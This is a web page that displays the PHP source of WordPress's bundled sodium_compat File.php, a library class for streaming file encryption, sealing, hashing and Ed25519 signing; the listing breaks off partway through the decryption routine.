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<div class='alert alert-info'><strong>/home/tahkoom/public_html/wp-includes/sodium_compat/src/File.php</strong></div><pre class='file-content'>&lt;?php

if (class_exists('ParagonIE_Sodium_File', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_File
 */
class ParagonIE_Sodium_File extends ParagonIE_Sodium_Core_Util
{
    /* PHP's default buffer size is 8192 for fread()/fwrite(). */
    const BUFFER_SIZE = 8192;

    /**
     * Box a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $keyPair    ECDH secret key and ECDH public key concatenated
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $keyPair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (!is_string($keyPair)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($keyPair) . ' given.');
        }
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keyPair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $keyPair);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }

    /**
     * Open a boxed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $keypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }
        if (!is_string($keypair)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($keypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $keypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $publicKey  ECDH public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal(
        $inputFile,
        $outputFile,
        #[\SensitiveParameter]
        $publicKey
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        /** @var string $ephKeypair */
        $ephKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair();

        /** @var string $msgKeypair */
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ephKeypair),
            $publicKey
        );

        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Compat::crypto_box_publickey($ephKeypair);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var int $firstWrite */
        $firstWrite = fwrite(
            $ofp,
            $ephemeralPK,
            ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES
        );
        if (!is_int($firstWrite)) {
            fclose($ifp);
            fclose($ofp);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            throw new SodiumException('Could not write to output file');
        }
        if ($firstWrite !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Error writing public key to output file');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($ephKeypair);
        }
        return $res;
    }

    /**
     * Open a sealed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_seal_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $ecdhKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open(
        $inputFile,
        $outputFile,
        #[\SensitiveParameter]
        $ecdhKeypair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($ecdhKeypair)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($ecdhKeypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($ecdhKeypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        $publicKey = ParagonIE_Sodium_Compat::crypto_box_publickey($ecdhKeypair);

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $ephemeralPK = fread($ifp, ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES);
        if (!is_string($ephemeralPK)) {
            throw new SodiumException('Could not read input file');
        }
        if (self::strlen($ephemeralPK) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Could not read public key from sealed file');
        }

        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ecdhKeypair),
            $ephemeralPK
        );

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Calculate the BLAKE2b hash of a file.
     *
     * @param string      $filePath     Absolute path to a file on the filesystem
     * @param string|null $key          BLAKE2b key
     * @param int         $outputLength Length of hash output
     *
     * @return string                   BLAKE2b hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress FailedTypeResolution
     */
    public static function generichash(
        $filePath,
        #[\SensitiveParameter]
        $key = '',
        $outputLength = 32
    ) {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($key)) {
            if (is_null($key)) {
                $key = '';
            } else {
                throw new TypeError('Argument 2 must be a string, ' . gettype($key) . ' given.');
            }
        }
        if (!is_int($outputLength)) {
            if (!is_numeric($outputLength)) {
                throw new TypeError('Argument 3 must be an integer, ' . gettype($outputLength) . ' given.');
            }
            $outputLength = (int) $outputLength;
        }

        /* Input validation: */
        if (!empty($key)) {
            if (self::strlen($key) &lt; ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new TypeError('Argument 2 must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes');
            }
            if (self::strlen($key) &gt; ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes');
            }
        }
        if ($outputLength &lt; ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) {
            throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN');
        }
        if ($outputLength &gt; ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) {
            throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength);
        while ($size &gt; 0) {
            $blockSize = $size &gt; 64
                ? 64
                : $size;
            $read = fread($fp, $blockSize);
            if (!is_string($read)) {
                throw new SodiumException('Could not read input file');
            }
            ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read);
            $size -= $blockSize;
        }

        fclose($fp);
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength);
    }

    /**
     * Encrypt a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $key        Encryption key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }
    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_secretbox_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOXBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($key);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($key);
        }
        return $res;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result.
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign(
        $filePath,
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($secretKey)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (PHP_INT_SIZE === 4) {
            return self::sign_core32($filePath, $secretKey);
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) &amp; 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) &amp; 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $nonceHash */
        $nonceHash = hash_final($hs, true);

        /** @var string $pk */
        $pk = self::substr($secretKey, 32, 32);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);

        /** @var string $sig */
        $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $hramHash */
        $hramHash = hash_final($hs, true);

        /** @var string $hram */
        $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash);

        /** @var string $sigAfter */
        $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result.
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @throws Exception
     */
    public static function verify(
        $sig,
        $filePath,
        $publicKey
    ) {
        /* Type checks: */
        if (!is_string($sig)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.');
        }
        if (!is_string($filePath)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) {
            throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes');
        }
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }
        if (self::strlen($sig) &lt; 64) {
            throw new SodiumException('Signature is too short');
        }

        if (PHP_INT_SIZE === 4) {
            return self::verify_core32($sig, $filePath, $publicKey);
        }

        /* Security checks */
        if (
            (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) &amp; 240)
                &amp;&amp;
            ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))
        ) {
            throw new SodiumException('S &lt; L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) &amp; 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i &lt; 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_encrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }


    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_decrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }

    /**
     * Encrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }

        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat(&quot;\x00&quot;, 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 &gt; 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat(&quot;\x00&quot;, 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state-&gt;update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state-&gt;update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state-&gt;finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
